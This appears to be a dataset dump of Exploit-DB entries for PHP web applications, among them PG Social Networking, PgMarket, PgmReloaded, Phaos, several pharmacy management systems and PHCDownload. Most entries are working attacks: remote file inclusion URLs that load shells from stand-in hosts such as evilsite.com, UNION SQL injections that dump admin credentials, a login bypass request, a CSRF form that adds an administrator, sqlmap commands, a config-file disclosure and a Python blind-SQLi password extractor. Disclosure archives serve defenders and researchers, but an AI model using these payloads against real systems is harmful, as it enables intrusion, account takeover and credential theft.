deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14280
Description: PG Social Networking - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-07-08
Author: SONIC

Exploit:
==============================================================
PG Social Networking  --Shell upload  Vulnerabilty 
==============================================================


Name :  PG Social Networking --Shell upload  Vulnerabilty 
Date : july 9,2010
Critical Level     :VERY HIGH
vendor URL :http://www.datingpro.com/social
Price:$739

Author : ..::[ SONiC ]::.. aka ~the_pshyco~ <sonicdefence[at]gmail.com>

special thanks to : Sid3^effects,r0073r (inj3ct0r.com),L0rd CruSad3r,M4n0j,Bunny,Nishi,MA1201,RJ,D3aD F0x

greetz to :www.topsecure.net ,All ICW members , iNj3cT0r.com, www.andhrahackers.com

special Shoutz : my Girl Frnd [H*****] 

###################################
I'm SONiC member from Inj3ct0r Team
################################### 
Description :

PG Social Networking lets you start your Social Networking Site with many of the advanced features. With our Social Networking Software members can create profiles, search for others, instant message each other, and much much more!


#######################################################################################################
eXploit :Shell Upload  vulnerabilty

DEMO URL http://demo.site.com/social/myprofile.php

Could be able to Upload shell as Image file




###############################################################################################################

# ..::[ SONiC ]::.. aka the_pshyco
Exploit-DB #34110
Description: PGAUTOPro - SQL Injection / Cross-Site Scripting (2)
Type: webapps
Platform: php
Date: 2010-06-09
Author: Sid3^effects

Exploit:
source: https://www.securityfocus.com/bid/40664/info

PG Auto Pro is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example URIs are available:

SQL Injection

http://www.example.com/vehicle/buy_do_search/?order_direction=DESC&&status=1&form_gid=vehicle_user_quick_search_new&back_module=vehicle%2Fbuy_do_search&page=[SQL Injection]

Cross Site Scripting

http://www.example.com/vehicle/buy_do_search/?order_direction=[XSS]
Exploit-DB #18383
Description: pGB 2.12 - 'kommentar.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-18
Author: 3spi0n

Exploit:
# Exploit Title: pGB 2.12 SQL Injection Vulnerability
# Date: 18/01/2012 - 03.52
# Author: 3spi0n
# Software Website: http://www.powie.de/
# Tested On: BackTrack 5 - Win7 Ultimate
# Platform: Php
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[$] Vulnerable File:

[~] kommentar.php

[$] Demo Sites:

[~] http://server/kommentar.php?id=117'
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

# Dar bi Koridor Benimki, Kendimi Aradigim.

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

# Contact: Twitter.Com/RigidusCO - Facebook.Com/3spi0ne

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

- Mr.PaPaRoSSe And 3spi0n -

Bug Researcher Group - TURKEY

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Exploit-DB #2154
Description: PgMarket 2.2.3 - 'CFG[libdir]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-09
Author: Mehmet Ince

Exploit:
####################################################
#
#
#           C Y B E R - W A R R i O R   T I M
#
#
####################################################

PgMarket 2.2.3 (CFG[libdir]) Remote File Inclusion Vulnerabilities

####################################################

Author: xoron

####################################################

Class : Remote

####################################################

cont@ct: x0r0n[at]hotmail[dot]com

####################################################

Code:

include ($CFG["libdir"] . "stdlib.inc.php");

####################################################

Exploit:
http://server/[path]/common.inc.php?CFG[libdir]=http://evil_scripts?

####################################################

Greetz: str0ke, Preddy, Iron, x-master, DJR, R3D4C!D and all my friends

####################################################

# milw0rm.com [2006-08-09]
Exploit-DB #2971
Description: PgmReloaded 0.8.5 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-12-21
Author: nuffsaid

Exploit:
+-------------------------------------------------------------------------------------------
+ PgmReloaded <= 0.8.5 Multiple Remote File Include Vulnerabilities
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://matteolucarelli.net/
+ Affected Software .: PgmReloaded <= 0.8.5
+ Download ..........: http://www.matteolucarelli.net/pgmreloaded/pgmreloaded-0.8.5.tgz
+ Description .......: "PgmReloaded is a simple CMS for e-commerce and generic web catalogs"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ PgmReloaded has several scripts which do not initialize variables before using them to
+ include files, assuming register_globals = on, we can initialize any one of the variables
+ in a query string and include a remote file of our choice. The index.php file is vulnerable
+ to remote file inclusion regardless of register_globals settings.
+
+ Vulnerable Code:
+ index.php, line(s) 06:
+ -> 06: if ($_GET["lang"]!="") include ($_GET["lang"] . ".php");
+ common.inc.php, line(s) 08-17:
+ -> 08: include ($CFG["libdir"] . "stdlib.inc.php");
+ -> 09: include ($CFG["libdir"] . "phplib/db_" . $CFG["dbms"] . ".inc.php");	// PHPLib...
+ -> 10: include ($CFG["libdir"] . "pgm_" . $CFG["dbms"] . ".inc.php");		// PGM extension...
+ -> 11: include ($CFG["libdir"] . $CFG["dbms"] . "_common.inc.php");
+ -> 12: include ($CFG["libdir"] . "pgm_common.inc.php");
+ -> 13: include ($CFG["libdir"] . "pgm_session.inc.php");
+ -> 14: include ($CFG["libdir"] . "pgm_users.inc.php");
+ -> 15: include ($CFG["libdir"] . "pgm_cart.inc.php");
+ -> 16: include ($CFG["libdir"] . "phplib/template.inc.php");
+ -> 17: include ($CFG["localedir"] . $CFG["base_lang"] . "/base_lang.inc.php");
+ form_header.php, line(s) 07-15:
+ -> 07: include ($CFG["localelangdir"] . "global-error.inc.php");
+ -> 15: include ($CFG["localelangdir"] . "global-common.inc.php");
+
+ Proof Of Concept:
+ http://[target]/[path]/index.php?lang=http://evilsite.com/shell.php?
+ http://[target]/[path]/common.inc.php?CFG[libdir]=http://evilsite.com/shell.php?
+ http://[target]/[path]/common.inc.php?CFG[localedir]=http://evilsite.com/shell.php?
+ http://[target]/[path]/form_header.php?errormsg=1&CFG[localelangdir]=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-21]
Exploit-DB #2612
Description: PGOSD - '/misc/function.php3' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-22
Author: Mehmet Ince

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PHP Generator of Object SQL Database (path) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Author: xoron

Tum islam aleminin Ramazan Bayrami Mubarek oLsun..!

Ne mutlu türküm diyene

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:

include $path."/misc/listoption.php3";


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[script_path]/misc/function.php3?path=http://evil_script?


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, kacper, Preddy, Ironfist, Stansar, SHiKaA, Chaos, Nukedx, k1tk4t, x_w0x,OG

Tesekkurler: DJR, mdx, R3D4C!D, sakkure, ENTRIKA, ERNE:)

www.milw0rm.com
www.team-rootshell.com
www.cyber-warrior.org
irc.milw0rm.com #milw0rm

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

script down: http://vidalcharles.free.fr/pgosd/pgosd.tgz

# milw0rm.com [2006-10-22]
Exploit-DB #5420
Description: Phaos R4000 Version - 'file' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-04-09
Author: HaCkeR_EgY

Exploit:
####################################################################################
                                          }}} Remote File Disclosure Vulnerability {{{
 
                                                  in (showSource.php)  phaos4.0.1
 
       MY HOmE :  WWW.PAL-HACkEr.COM                                        WWW.ATSDP.COM
####################################################################################
## AUTHOR :  HaCkeR_EgY
## My HoMe :  www.PaL-HaCker.com  &   www.ATSDP.com
## ConTacT :  hacker_egy@hotmail.com
-----------------------------------------------
## script: phaos4.0.1
##download:http://sourceforge.net/project/showfiles.php?group_id=111506
###################################################################
### vurn C0dE :
 
## line 16: 
 
 showSource($file, $line, $prev, $next);  <=====
function showSource($file, $line, $prev = 10, $next = 10) {
   
    if (!(file_exists($file) && is_file($file))) {
        return trigger_error("showSource() failed, file does not exist `$file`", E_USER_ERROR);
        return false;
    }
   
    //read code
## line 35 :   ob_start();
    highlight_file($file); <<========
    $data = ob_get_contents();
    ob_end_clean();

## P0C:
            http://localhost/[path]/erorr/showSource.php?file=config_settings.php

#################################################################################
 
## GREETZ TO :   My BrOther and My MasTer   " Abo Mohamed "   ADMIN PAL-HACKER
 
##  Thanx     : F0UaD Pr0gRaMeR  , FiReSell  , MoHamed EL Arab  ,  Mr.exe  ,  zaradusht  , and all " pal-hacker members "
 
#####################################################################################

# milw0rm.com [2008-04-09]
Exploit-DB #48752
Description: Pharmacy Medical Store and Sale Point 1.0  - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2020-08-18
Author: Moaaz Taha

Exploit:
# Title: Pharmacy Medical Store and Sale Point 1.0  - 'catid' SQL Injection
# Exploit Author: Moaaz Taha (0xStorm)
# Date: 2020-08-18
# Vendor Homepage: https://www.sourcecodester.com/php/14398/pharmacymedical-store-sale-point-using-phpmysql-bootstrap-framework.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14398&title=Pharmacy%2FMedical+Store+%26+Sale+Point+Using+PHP%2FMySQL+with+Bootstrap+Framework
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4

# Description
This parameter "catId" is vulnerable to Time-Based blind SQL injection in this path "/medical/inventeries.php?catID=1" that leads to retrieve all databases.

#POC
sqlmap -u "http://TARGET/medical/inventeries.php?catID=1" -p catId --dbms=mysql --threads=10
Exploit-DB #50409
Description: Pharmacy Point of Sale System 1.0 - 'Add New User' Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2021-10-13
Author: Murat DEMİRCİ

Exploit:
# Exploit Title: Pharmacy Point of Sale System 1.0 - 'Add New User' Cross-Site Request Forgery (CSRF)
# Date: 10/11/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14957/pharmacy-point-sale-system-using-php-and-sqlite-free-source-code.html
# Version: 1
# Tested on: Windows 10

Detail:
The application is not using any security token to prevent it against CSRF. Therefore, malicious user can add new administrator user account by using crafted post request.

CSRF PoC:

--------------------------------------------------------------------------------------

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/pharmacy/Actions.php?a=save_user" method="POST">
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="fullname" value="Mrt" />
      <input type="hidden" name="username" value="NewAdmin" />
      <input type="hidden" name="type" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

--------------------------------------------------------------------------------------
Exploit-DB #50357
Description: Pharmacy Point of Sale System 1.0 - 'Multiple' SQL Injection (SQLi)
Type: webapps
Platform: php
Date: 2021-09-30
Author: Murat

Exploit:
# Exploit Title: Pharmacy Point of Sale System 1.0 - 'Multiple' SQL Injection (SQLi)
# Date: 28.09.2021
# Exploit Author: Murat
# Vendor Homepage: https://www.sourcecodester.com/php/14957/pharmacy-point-sale-system-using-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/pharmacy.zip
# Version: 1.0
# Tested on: Windows 10

# Pharmacy Point of Sale System v1.0 SQLi


GET /pharmacy/view_product.php?id=-1 HTTP/1.1
Host: localhost
Cookie: PHPSESSID=5smfl8sfgemi1h9kdl2h3dsnd6
Sec-Ch-Ua: "Chromium";v="93", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Connection: close


POC:
https://localhost/pharmacy/view_product.php?id=[PII_REDACTED]%27+union+select+1%2c1%2c1%2c1%2c%28select%27SqLi%27%7c%7csubstr%28%28select+sqlite%5fversion%28%29%7c%7c%27%04%27%7c%7c%27sqlite%5fmaster%27%7c%7c%27%04%27%7c%7c%27anonymous%27%7c%7c%27%01%03%03%07%27%29%2c1%2c65536%29%29%2c1%2c1%2c1--

-----------------------------------------------------------------------

#Other parameters with sql injection vulnerability;


==> /pharmacy/?date_from=&date_to=1'"&page=sales_report

==> /pharmacy/?date_from=1'"&date_to=&page=sales_report

==> /pharmacy/manage_stock.php?expiry_date=01/01/1967&id=-1'&product_id=1&quantity=1&supplier_id=1

==> GET /pharmacy/view_receipt.php?id=1'"&view_only=true

==> /pharmacy/manage_product.php?id=-1'

==> POST /pharmacy/Actions.php?a=save_stock

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="id"


------------YWJkMTQzNDcw
Content-Disposition: form-data; name="supplier_id"

1'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="product_id"

2'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="quantity"

1'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="expiry_date"


==> POST /pharmacy/Actions.php?a=save_product HTTP/1.1

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="id"

5'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="product_code"

94102'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="category_id"

1'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="name"

pHqghUme'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="price"

1'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="description"

1'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="status"

0'"
------------YWJkMTQzNDcw--
-
Exploit-DB #50329
Description: Pharmacy Point of Sale System 1.0 - SQLi Authentication BYpass
Type: webapps
Platform: php
Date: 2021-09-24
Author: Janik Wehrli

Exploit:
# Exploit Title: Pharmacy Point of Sale System 1.0 - SQLi Authentication Bypass
# Date: 23.09.2021
# Exploit Author: Janik Wehrli
# Vendor Homepage: https://www.sourcecodester.com/php/14957/pharmacy-point-sale-system-using-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/pharmacy.zip
# Version: 1.0
# Tested on: Kali Linux, Windows 10

# Pharmacy Point of Sale System v1.0 Login can be bypassed with a simple SQLi


POST /pharmacy/Actions.php?a=login HTTP/1.1
Host: 192.168.209.170
Content-Length: 38
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.209.170
Referer: http://192.168.209.170/pharmacy/login.php
Accept-Encoding: gzip, deflate
Accept-Language: de-CH,de-DE;q=0.9,de;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=c5mtnqpcavhfgsambtnh4uklag
Connection: close

username='OR+1%3D1+--+-&password=PWNED
Exploit-DB #49149
Description: Pharmacy Store Management System 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-12-02
Author: Aydın Baran Ertemir

Exploit:
# Exploit Title: Pharmacy Store Management System 1.0 - 'id' SQL Injection
# Google Dork: N/A
# Date: 1.12.2020
# Exploit Author: Aydın Baran Ertemir
# Vendor Homepage: https://www.sourcecodester.com/php/13225/pharmacy-store-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13225&title=Pharmacy+Store+Management+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Kali Linux

Use SQLMAP:

sqlmap -u 'http://localhost/pharmacy1/admin/edituser?id=1' --dbs --batch
Exploit-DB #4095
Description: Pharmacy System 2.0 - 'index.php?ID' SQL Injection
Type: webapps
Platform: php
Date: 2007-06-24
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+             Pharmacy System v2 AND PRIOR SQL INJECTION VULNERBILITYS           +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog


SCRIPT DOWNLOAD: PAY SCRIPT


SITE: http://www.netartmedia.net/pharmacysystem/


DORK: N/A


EXPLOITS:

EXPLOIT 1: http://www.server.com/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users
EXPLOIT 2: http://www.server.com/SCRIPT_PATH/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_users

EXAMPLES:

EXAMPLE ON DEMO: http://www.wscreator.com/pharma1/index.php?mod=cart&quantity=1&action=add&ID=-1%20and%201=2%20UNION%20ALL%20SELECT%201,2,3,concat(username,password),5,6,7,8,9,10,11%20FROM%20pharma1_admin_users

NOTE/TIP: Most sites will have diffrent table prefix, so table pharma1_admin_users probarly wont exist, to get the prefix
follow these steps, goto "http://server.com/index.php?page='" this should cause a mysql error and you will be able to
see the mysql query being used for the page variable. Simple replace the prefix from the error with then one in the injection
if you cant do that then dont use the exploit.

GREETZ: str0ke, GM, andy777, Untamed, Don, o0xxdark0o, & everyone at H4CKY0u.org, BHUNITED AND G0t-Root.net


--==+================================================================================+==--
--==+            Pharmacy System v2 AND PRIOR SQL INJECTION VULNERBILITYS            +==--
--==+================================================================================+==-- 

# milw0rm.com [2007-06-24]
Exploit-DB #49132
Description: Pharmacy/Medical Store & Sale Point 1.0  - 'email' SQL Injection
Type: webapps
Platform: php
Date: 2020-12-01
Author: naivenom

Exploit:
# Exploit Title: Pharmacy/Medical Store & Sale Point 1.0  - 'email' SQL Injection
# Date: 2020-08-23
# Exploit Author: @naivenom
# Vendor Homepage: https://www.sourcecodester.com/php/14398/pharmacymedical-store-sale-point-using-phpmysql-bootstrap-framework.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14398&title=Pharmacy%2FMedical+Store+%26+Sale+Point+Using+PHP%2FMySQL+with+Bootstrap+Framework
# Version: 1.0
# Tested on: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4

This parameter "email" is vulnerable to Time-Based blind SQL injection
in this path "/medical/login.php " that leads to retrieve all
databases.

#exploit

import re
import requests
from bs4 import BeautifulSoup
import sys
import urllib3
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# We can test the time based blind sqli with this script. This script
testing with each character of the password column from users name
table

# and retrieve password from admin user.

def time_based_blind_sqli(injection_string):

    target = "http://localhost:81/medical-store-source/login.php"

    for j in range(32,126):

        data = {'email': "%s" % (injection_string.replace("[CHAR]", str(j))),

        'password':'xJXb',

        'login':''}

        tim = time.time()

        r = requests.post(target,data = data, verify=False)

        nowtime = time.time()

        curren = nowtime-tim

        if curren <= 4:

            return j

    return None

def main():

    print("\n(+) Retrieving password from admin user...")

    # 5 is length of the password. This can

    # be dynamically stolen from the database as well!

    for i in range(1,5):

        injection_string = "admin@admin.com' AND (SELECT 1100 FROM
(SELECT(SLEEP(4-(IF(ORD(MID((SELECT IFNULL(CAST(password AS
NCHAR),0x20) FROM store.users ORDER BY password LIMIT
0,1),%d,1))>[CHAR],0,1)))))soLu) AND 'yHIV'='yHIV" % i

        extracted_char = chr(time_based_blind_sqli(injection_string))

        sys.stdout.write(extracted_char)

        sys.stdout.flush()

    print("\n(+) done!")



if __name__ == "__main__":

    main()
Exploit-DB #31704
Description: PHCDownload 1.1 - '/admin/index.php?hash' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-24
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28922/info

PHCDownload is prone to an SQL-injection and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Attackers may also exploit these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHCDownload 1.1.0 is vulnerable to these issues; other versions may also be affected. 

http://localhost/upload/admin/index.php?hash=-1'/**/union/**/select/**/adminsession_user_id,1,adminsession_hash,adminsession_name,4,5,6,7/**/from/**/phcdl_sessions_admin/*